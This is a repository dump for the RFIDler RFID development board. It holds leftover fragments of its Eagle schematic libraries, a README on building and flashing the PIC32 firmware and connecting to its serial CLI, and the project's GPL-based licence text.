PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME<b>TEST PAD</b>>NAME>VALUE>TP_SIGNAL_NAME>NAME>TP_SIGNAL_NAME<b>Test pad</b>>VALUE>VALUE>VALUE<b>SUPPLY SYMBOL</b><b>SUPPLY SYMBOL</b><B>LED</B><p>
5 mm, round>NAME>VALUE>NAME>VALUE>NAME>VALUE<B>LED</B><p>
3 mm, round>NAME>VALUE>Name>Value>NAME>VALUE>NAME>VALUE>NAME>VALUE<b>LEDs</b>
Standard schematic elements and footprints for 5mm, 3mm, 1206, and 0603 sized LEDs. 5mm - Spark Fun Electronics SKU : COM-00529 (and others)<b>Resettable Fuse PTC</b>
Resettable Fuse. Spark Fun Electronics SKU : COM-08357>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>VALUE>NAME<b>Header 8</b>
Standard 8-pin 0.1" header. Use with straight break away headers (SKU : PRT-00116), right angle break away headers (PRT-00553), swiss pins (PRT-00743), machine pins (PRT-00117), and female headers (PRT-00115).<b>Crystals and Crystal Resonators</b><p>
<author>Created by librarian@cadsoft.de</author><b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL RESONATOR</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>CRYSTAL</b>>NAME>VALUE<b>Model 406 6.0x3.5mm Low Cost Surface Mount Crystal</b><p>
Source: 008-0260-0_E.pdf>NAME>VALUE>NAME>VALUE12<b>CRYSTAL</b><h3>SparkFun Electronics' preferred foot prints</h3>
We've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.>NAME>Value<b>OMRON SWITCH</b>>NAME>NAME>VALUE<b>Momentary Switch</b>
Button commonly used for reset or general input. Spark Fun Electronics SKU : COM-00097<h3>SparkFun Electronics' preferred foot prints</h3>
In this library you'll find connectors and sockets- basically anything that can be plugged into or onto.<br><br>
We've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.>NAME>VALUE>NAME>VALUE2mm SMD side-entry connector. tDocu layer indicates the actual physical plastic housing. +/- indicate SparkFun standard batteries and wiring.>Name>Value+->Name>Value>NAME>VALUE>NAME>VALUEThis footprint was designed to help hold the alignment of a through-hole component (i.e. 6-pin header) while soldering it into place.
You may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).
This slight alteration caused the pins (the squares in the middle) to touch the edges of the holes. Because they are alternating, it causes a "brace"
to hold the component in place. 0.005 has proven to be the perfect amount of "off-center" position when using our standard breakaway headers.
Although looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice. Also,
if you push a header all the way into place, it is covered up entirely on the bottom side. This idea of altering the position of holes to aid alignment
will be further integrated into the Sparkfun Library for other footprints. It can help hold any component with 3 or more connection pins.>NAME>VALUE>NAME>VALUE>NAME>VALUE>Name>Value+->NAME>VALUE>Name>Value+-<H3>JST-2-PTH-KIT</h3>
2-Pin JST, through-hole connector<br>
<br>
<b>Warning:</b> This is the KIT version of this package. This package has a smaller diameter top stop mask, which doesn't cover the diameter of the pad. This means only the bottom side of the pads' copper will be exposed. You'll only be able to solder to the bottom side.>Name>Value+->NAME>VALUE>NAME>VALUE>NAME>VALUEThis footprint was designed to help hold the alignment of a through-hole component (i.e. 6-pin header) while soldering it into place.
You may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).
This slight alteration caused the pins (the squares in the middle) to touch the edges of the holes. Because they are alternating, it causes a "brace"
to hold the component in place. 0.005 has proven to be the perfect amount of "off-center" position when using our standard breakaway headers.
Although looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice. Also,
if you push a header all the way into place, it is covered up entirely on the bottom side. This idea of altering the position of holes to aid alignment
will be further integrated into the Sparkfun Library for other footprints. It can help hold any component with 3 or more connection pins.>NAME>VALUE>NAME>VALUE>NAME>VALUE>NAME>VALUE>Name>Value+-S>NAME>VALUE>NAME>VALUE>Name>Value>NAME>VALUE>Value>Name>VALUE>NAME>VALUE>NAME<b>Header 2</b>
Standard 2-pin 0.1" header. Use with straight break away headers (SKU : PRT-00116), right angle break away headers (PRT-00553), swiss pins (PRT-00743), machine pins (PRT-00117), and female headers (PRT-00115). Molex polarized connector foot print use with SKU : PRT-08233 with associated crimp pins and housings.<b>Header 3</b>
Standard 3-pin 0.1" header. Use with straight break away headers (SKU : PRT-00116), right angle break away headers (PRT-00553), swiss pins (PRT-00743), machine pins (PRT-00117), and female headers (PRT-00115). Molex polarized connector foot print use with SKU : PRT-08232 with associated crimp pins and housings.<h3>SparkFun Electronics' preferred foot prints</h3>
In this library you'll find resistors, capacitors, inductors, test points, jumper pads, etc.<br><br>
We've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.Solder jumper, small, shorted with trace. No paste layer. Trace is cuttable.>NAME>VALUESmall solder jumper with big paste layer so it will short during reflow.>NAME>VALUE>NAME>VALUESmall solder jumper with no paste layer so it will open after reflow.>NAME>VALUE>NAME>VALUE<b>Solder Jumper</b>
Standard SMD solder jumper. Used to automate production. Two varients : Normally Open and Normally Closed are the same, but have different paste layers. NC will have a large amount of paste and should jumper during reflow.<h3>SparkFun Electronics' preferred foot prints</h3>
We've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.>Name>Value>NAME>VALUE>Name>Value>Name>Value<b>CAPACITOR</b><p>
chip>NAME>VALUE>NAME>VALUE1007 (2518 metric) package>NAME>VALUE>Name>Value>NAME>VALUE>NAME>VALUE1.3x1.3mm 1.7mm between. Fits Sumida CDRH2D09, CDRH2D18 inductor>NAME>VALUE>NAME>VALUE>Name>Value>Name>Value>NAME>VALUE<b>Inductors</b>
Basic Inductor/Choke - 0603 and 1206. Footprints are not proven and vary greatly between part numbers.Do Not FitUSB Function (Micro B)PF!!!!Bad Joints On These
Capacitors Will Prevent
PIC From Running !!!Tight tolerances on these capsDNFDNFFor alignment pins
Since Version 6.2.2 text objects can contain more than one line,
which will not be processed correctly with this version.
================================================
FILE: README.md
================================================
# RFIDler
## Firmware
The 'firmware' directory contains code for the dev platform(s).
Currently that is Pic32, but we will add a new section if and when required.
## Hardware
A fully built RFIDler board can be purchased here: [http://rfidiot.org/#Hardware](http://rfidiot.org/#Hardware)
### Pic32
The main microcontroller is a [Microchip PIC32MX795F512L](http://www.microchip.com/wwwproducts/Devices.aspx?dDocName=en545660)
## Software Build environment
The project was developed in Mplab-X IDE V3.20 under Linux, but can also be built under Windows & Mac:
* [Linux] (http://www.microchip.com/mplabx-ide-linux-installer)
* [Windows] (http://www.microchip.com/mplabx-ide-windows-installer)
* [Mac] (http://www.microchip.com/mplabx-ide-osx-installer)
The compiler used was the free version of Microchip's XC32 V1.40:
* [Linux] (http://www.microchip.com/mplabxc32linux)
* [Windows] (http://www.microchip.com/mplabxc32windows)
* [Mac] (http://www.microchip.com/mplabxc32osx)
USB stack and peripheral support is provided by [Microchip Application Library v2013-06-15] (http://www.microchip.com/pagehandler/en-us/devtools/mla/archives.html):
* [Linux](http://ww1.microchip.com/downloads/en/softwarelibrary/microchip-libraries-for-applications-v2013-06-15-linux-installer.run)
- Install to /opt/microchip/microchip_solutions_v2013-06-15/
- Note: if the installer fails to start, try adding the run-time option '--mode text'
* [Windows](http://ww1.microchip.com/downloads/en/softwarelibrary/microchip-libraries-for-applications-v2013-06-15-windows-installer.exe)
- Install to installer default location
* [Mac](http://ww1.microchip.com/downloads/en/softwarelibrary/microchip-libraries-for-applications-v2013-06-15-osx-installer.dmg)
- Install to installer default location
and [PIC32 Peripheral Library] (http://www.microchip.com/SWLibraryWeb/product.aspx?product=PIC32%20Peripheral%20Library):
* [Linux](http://ww1.microchip.com/downloads/en/DeviceDoc/PIC32%20Legacy%20Peripheral%20Libraries%20Linux.tar)
- Install to /opt/microchip/xc32/v1.40
* [Windows](http://ww1.microchip.com/downloads/en/DeviceDoc/PIC32%20Legacy%20Peripheral%20Libraries.zip)
- Install to installer default location
* [Mac](http://ww1.microchip.com/downloads/en/DeviceDoc/PIC32%20Legacy%20Peripheral%20Libraries%20MACOS.zip)
- Install to installer default location
### Bootloader
When the Bootloader is running the RFIDler appears on the USB as a HID, and waits for new RFIDler firmware to install in Flash memory.
There are several ways of entering the Bootloader, see "Loading new Firmware" section below.
USB HID Bootloader is provided by the [UBW32 project](http://www.schmalzhaus.com/UBW32/FW/HIDBoot.X/HIDBoot.X.zip)
For convenience, a copy of the bootloader hex and an MPLAB hex load project is provided in `firmware/Pic32/HIDBoot_MX795_Hex_Load.X`
The Bootloader client, mphidflash, runs on Linux/Mac/Windows and transmits & verifies the new firmware.
https://github.com/AdamLaurie/mphidflash
#### Notes
mphidflash v1.3 has some known bugs where for some ROM binaries programming fails and a verification error is reported.
If you hit this problem check for a newer release of mphidflash. Pre-compiled executables for all platforms are available [here](https://github.com/AdamLaurie/mphidflash)
### Software Build
Install packages as above.
Clone this repo to your local hard disk.
1. Start MPLAB X IDE
2. Choose `File/Open Project/`
3. Browse to RFIDler.X and click 'Open Project'
#### Windows
If you are running Windows, you will need to change the default Linux library to the local Windows version:
UPDATE NEEDED TO THIS SECTION!
(There are bugs in MPLAB X and GNU make such that paths to libraries containing spaces are not always processed correctly,
and the default install path on Windows contains spaces so making the copy is the simplest solution.)
#### Mac OS X
If you are running Mac OS X, you will need to change the default Linux library to the local Mac version:
UPDATE NEEDED TO THIS SECTION!
### Connections
The device can be powered via the USB port, and, if connected to a PC, will provide a
management CLI/API via USB-Serial CDC at 115200 baud (8 bit, No Parity, 1 Stop Bit, No Handshaking/Flow Control).
The CLI/API is also accessible via 3.3v or 5v UART on pins RG7 (UART3 RX) and RG8 (UART3 TX), also at 115200 baud.
When you connect with USB for the first time, you may need to perform some configuration steps:
#### Linux
Create a rule file for UDEV to allow non-root access to the file, and also disable modem manager access. An appropriate file can be found in the MPLAB project
under the "Linux Support" tab. Copy this file to `/etc/udev/rules.d` and run `sudo udevadm control --reload-rules`
This file can also be found in this repo at: linux-support/71-rfidler-lf-cdc-blacklist.rules
#### Windows
Windows drivers can be found in the 'Windows Driver' tab of the MPLAB project
To connect, any serial terminal emulator should work, but we recommend:
* Linux: minicom (`sudo apt-get install minicom`)
* Windows: [PuTTY](http://www.chiark.greenend.org.uk/~sgtatham/putty/)
* Mac OS X: minicom (install: [brew](https://brew.sh/) minicom) or SerialTools (free from the App Store)
Example linux connection:
minicom -D /dev/ttyACM1 -b 115200
Once connected, hit `` to see the HELP screen and switch to CLI mode, or send commands to remain in API mode.
In API mode, all commands are as per CLI mode, and will be ACK'd by a single '.' or NACK'd by '!' if command fails
or '?' if it is not recognised. Other output is command dependant.
## Loading new Firmware
Enter bootloader mode
* either from the menu (`BL`)
* _or_ by holding down button `BOOTLOADER` while simultaneously
* plugging in the USB cable
* _or_ pressing the 'RESET' button.
LED6 and LED5 will show stable orange light to confirm bootloader mode has been entered.
#~/tools/mphidflash-1.6/binaries/mphidflash-1.6-linux-64 -r -w firmware/Pic32/RFIDler.X/dist/debug/production/RFIDler.X.production.hex
USB HID device found: 503808 bytes free
Device family: PIC32
Erasing...
Writing hex file 'RFIDler.X.production.hex':......[...removed for brevity...]
Verifying:.... [...removed for brevity...]
Resetting device...
You can verify the flashing via `version`
*RFIDler> version
0071-beta
### Linux:
`dmesg` should show the following:
generic-usb 0003:04D8:003C.0003: hiddev0,hidraw1: USB HID v1.11 Device [Microchip Technology Inc. USB HID Bootloader] on usb-0000:00:1d.0-1.1.2.1/input0
To flash the code, `cd` to the top of the repo and run:
mphidflash -r -w firmware/Pic32/RFIDler.X/dist/default/production/RFIDler.X.production.hex
The device will be programmed and will then reboot. `dmesg` should show:
usb 2-1.1.2.1: USB disconnect, device number 19
usb 2-1.1.2.1: new full speed USB device number 20 using ehci_hcd
cdc_acm 2-1.1.2.1:1.0: This device cannot do calls on its own. It is not a modem.
cdc_acm 2-1.1.2.1:1.0: ttyACM3: USB ACM device
### Windows
???
### Mac OS X
## Install mphidflash from source
Option 1, v1.6:
```shell
curl https://github.com/AdamLaurie/mphidflash/blob/master/dist/mphidflash-1.6-src.tar.gz > mphidflash1-6.tar.gz
mkdir mphidflash1-6
tar -zxvf mphidflash1-6.tar.gz -C mphidflash1-6
cd mphidflash1-6
mkdir binaries
sudo make install64
```
Option 2, latest:
```shell
git clone https://github.com/AdamLaurie/mphidflash.git
cd mphidflash
sudo make install64
```
## Flash device
```shell
cd #RFIDler repo
mphidflash -r -w firmware/Pic32/RFIDler.X/dist/debug/production/RFIDler.X.production.hex
```
## See Also
(python shell command line interfacee)[python/README.md]
================================================
FILE: conference-talks/2018/KevSheldrake-DC4420-slides.tgz
================================================
[File too large to display: 12.8 MB]
================================================
FILE: firmware/Pic32/COPYING
================================================
/*****************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS **********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants *
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests. *
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/RFIDler/firmware/Pic32/COPYING *
* *
*****************************************************************************
GNU General Public License
----------------------------------------------------------------------------
Table of Contents
* GNU GENERAL PUBLIC LICENSE
o Preamble
o TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
o How to Apply These Terms to Your New Programs
----------------------------------------------------------------------------
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your freedom to
share and change it. By contrast, the GNU General Public License is intended
to guarantee your freedom to share and change free software--to make sure
the software is free for all its users. This General Public License applies
to most of the Free Software Foundation's software and to any other program
whose authors commit to using it. (Some other Free Software Foundation
software is covered by the GNU Library General Public License instead.) You
can apply it to your programs, too.
When we speak of free software, we are referring to freedom, not price. Our
General Public Licenses are designed to make sure that you have the freedom
to distribute copies of free software (and charge for this service if you
wish), that you receive source code or can get it if you want it, that you
can change the software or use pieces of it in new free programs; and that
you know you can do these things.
To protect your rights, we need to make restrictions that forbid anyone to
deny you these rights or to ask you to surrender the rights. These
restrictions translate to certain responsibilities for you if you distribute
copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether gratis or
for a fee, you must give the recipients all the rights that you have. You
must make sure that they, too, receive or can get the source code. And you
must show them these terms so they know their rights.
We protect your rights with two steps: (1) copyright the software, and (2)
offer you this license which gives you legal permission to copy, distribute
and/or modify the software.
Also, for each author's protection and ours, we want to make certain that
everyone understands that there is no warranty for this free software. If
the software is modified by someone else and passed on, we want its
recipients to know that what they have is not the original, so that any
problems introduced by others will not reflect on the original authors'
reputations.
Finally, any free program is threatened constantly by software patents. We
wish to avoid the danger that redistributors of a free program will
individually obtain patent licenses, in effect making the program
proprietary. To prevent this, we have made it clear that any patent must be
licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and modification
follow.
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains a notice
placed by the copyright holder saying it may be distributed under the terms
of this General Public License. The "Program", below, refers to any such
program or work, and a "work based on the Program" means either the Program
or any derivative work under copyright law: that is to say, a work
containing the Program or a portion of it, either verbatim or with
modifications and/or translated into another language. (Hereinafter,
translation is included without limitation in the term "modification".) Each
licensee is addressed as "you".
Activities other than copying, distribution and modification are not covered
by this License; they are outside its scope. The act of running the Program
is not restricted, and the output from the Program is covered only if its
contents constitute a work based on the Program (independent of having been
made by running the Program). Whether that is true depends on what the
Program does.
1. You may copy and distribute verbatim copies of the Program's source code
as you receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice and
disclaimer of warranty; keep intact all the notices that refer to this
License and to the absence of any warranty; and give any other recipients of
the Program a copy of this License along with the Program.
You may charge a fee for the physical act of transferring a copy, and you
may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion of it,
thus forming a work based on the Program, and copy and distribute such
modifications or work under the terms of Section 1 above, provided that you
also meet all of these conditions:
* a) You must cause the modified files to carry prominent notices stating
that you changed the files and the date of any change.
* b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any part
thereof, to be licensed as a whole at no charge to all third parties
under the terms of this License.
* c) If the modified program normally reads commands interactively when
run, you must cause it, when started running for such interactive use
in the most ordinary way, to print or display an announcement including
an appropriate copyright notice and a notice that there is no warranty
(or else, saying that you provide a warranty) and that users may
redistribute the program under these conditions, and telling the user
how to view a copy of this License. (Exception: if the Program itself
is interactive but does not normally print such an announcement, your
work based on the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If identifiable
sections of that work are not derived from the Program, and can be
reasonably considered independent and separate works in themselves, then
this License, and its terms, do not apply to those sections when you
distribute them as separate works. But when you distribute the same sections
as part of a whole which is a work based on the Program, the distribution of
the whole must be on the terms of this License, whose permissions for other
licensees extend to the entire whole, and thus to each and every part
regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest your
rights to work written entirely by you; rather, the intent is to exercise
the right to control the distribution of derivative or collective works
based on the Program.
In addition, mere aggregation of another work not based on the Program with
the Program (or with a work based on the Program) on a volume of a storage
or distribution medium does not bring the other work under the scope of this
License.
3. You may copy and distribute the Program (or a work based on it, under
Section 2) in object code or executable form under the terms of Sections 1
and 2 above provided that you also do one of the following:
* a) Accompany it with the complete corresponding machine-readable source
code, which must be distributed under the terms of Sections 1 and 2
above on a medium customarily used for software interchange; or,
* b) Accompany it with a written offer, valid for at least three years,
to give any third party, for a charge no more than your cost of
physically performing source distribution, a complete machine-readable
copy of the corresponding source code, to be distributed under the
terms of Sections 1 and 2 above on a medium customarily used for
software interchange; or,
* c) Accompany it with the information you received as to the offer to
distribute corresponding source code. (This alternative is allowed only
for noncommercial distribution and only if you received the program in
object code or executable form with such an offer, in accord with
Subsection b above.)
The source code for a work means the preferred form of the work for making
modifications to it. For an executable work, complete source code means all
the source code for all modules it contains, plus any associated interface
definition files, plus the scripts used to control compilation and
installation of the executable. However, as a special exception, the source
code distributed need not include anything that is normally distributed (in
either source or binary form) with the major components (compiler, kernel,
and so on) of the operating system on which the executable runs, unless that
component itself accompanies the executable.
If distribution of executable or object code is made by offering access to
copy from a designated place, then offering equivalent access to copy the
source code from the same place counts as distribution of the source code,
even though third parties are not compelled to copy the source along with
the object code.
4. You may not copy, modify, sublicense, or distribute the Program except as
expressly provided under this License. Any attempt otherwise to copy,
modify, sublicense or distribute the Program is void, and will automatically
terminate your rights under this License. However, parties who have received
copies, or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
5. You are not required to accept this License, since you have not signed
it. However, nothing else grants you permission to modify or distribute the
Program or its derivative works. These actions are prohibited by law if you
do not accept this License. Therefore, by modifying or distributing the
Program (or any work based on the Program), you indicate your acceptance of
this License to do so, and all its terms and conditions for copying,
distributing or modifying the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the original
licensor to copy, distribute or modify the Program subject to these terms
and conditions. You may not impose any further restrictions on the
recipients' exercise of the rights granted herein. You are not responsible
for enforcing compliance by third parties to this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot distribute so
as to satisfy simultaneously your obligations under this License and any
other pertinent obligations, then as a consequence you may not distribute
the Program at all. For example, if a patent license would not permit
royalty-free redistribution of the Program by all those who receive copies
directly or indirectly through you, then the only way you could satisfy both
it and this License would be to refrain entirely from distribution of the
Program.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply and
the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any patents
or other property right claims or to contest validity of any such claims;
this section has the sole purpose of protecting the integrity of the free
software distribution system, which is implemented by public license
practices. Many people have made generous contributions to the wide range of
software distributed through that system in reliance on consistent
application of that system; it is up to the author/donor to decide if he or
she is willing to distribute software through any other system and a
licensee cannot impose that choice.
This section is intended to make thoroughly clear what is believed to be a
consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in certain
countries either by patents or by copyrighted interfaces, the original
copyright holder who places the Program under this License may add an
explicit geographical distribution limitation excluding those countries, so
that distribution is permitted only in or among countries not thus excluded.
In such case, this License incorporates the limitation as if written in the
body of this License.
9. The Free Software Foundation may publish revised and/or new versions of
the General Public License from time to time. Such new versions will be
similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free programs
whose distribution conditions are different, write to the author to ask for
permission. For software which is copyrighted by the Free Software
Foundation, write to the Free Software Foundation; we sometimes make
exceptions for this. Our decision will be guided by the two goals of
preserving the free status of all derivatives of our free software and of
promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO
THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM
PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR
CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO
LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR
THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest possible
use to the public, the best way to achieve this is to make it free software
which everyone can redistribute and change under these terms.
